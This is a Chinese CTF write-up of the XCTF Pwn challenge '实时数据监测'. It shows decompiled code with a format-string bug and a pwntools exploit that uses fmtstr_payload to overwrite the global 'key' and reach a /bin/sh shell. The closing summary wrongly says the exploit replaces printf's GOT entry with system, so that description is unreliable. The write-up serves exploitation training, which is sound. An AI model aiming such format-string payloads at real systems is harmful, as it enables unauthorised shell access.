攻防世界 Pwn 实时数据监测
1.题目下载地址
2.checksec

什么保护都没开,估计是很简单的题
进IDA分析一下
3.IDA
int locker()
{
int result; // eax
char s[520]; // [esp+0h] [ebp-208h] BYREF
fgets(s, 512, stdin);
imagemagic(s);
if ( key == 35795746 )
result = system("/bin/sh");
else
result = printf(format, &key, key);
return result;
}
程序很简单,只要控制key=35795746即可
记得把35795746换成16进制


这里存在格式化字符串漏洞
4.格式化字符串漏洞的解法
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
- 第一个参数表示格式化字符串的偏移;
- 第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
- 第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
- 第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
5.exp
from pwn import *
p = process("./data")
#p = remote('111.200.241.244',64340)
payload = fmtstr_payload(12,{0x804a048:0x02223322})
p.send(payload)
p.interactive()
看一下运行效果

博客介绍了如何利用一个没有开启任何保护措施的程序中发现的格式化字符串漏洞。通过ida分析,确定了关键条件为设置key值等于35795746(16进制)。利用fmtstr_payload函数构造payload,将printf GOT表中的地址替换为system函数地址,最终成功执行/bin/sh,实现shell获取。提供的exploit代码展示了完整流程。
1333

被折叠的 条评论
为什么被折叠?



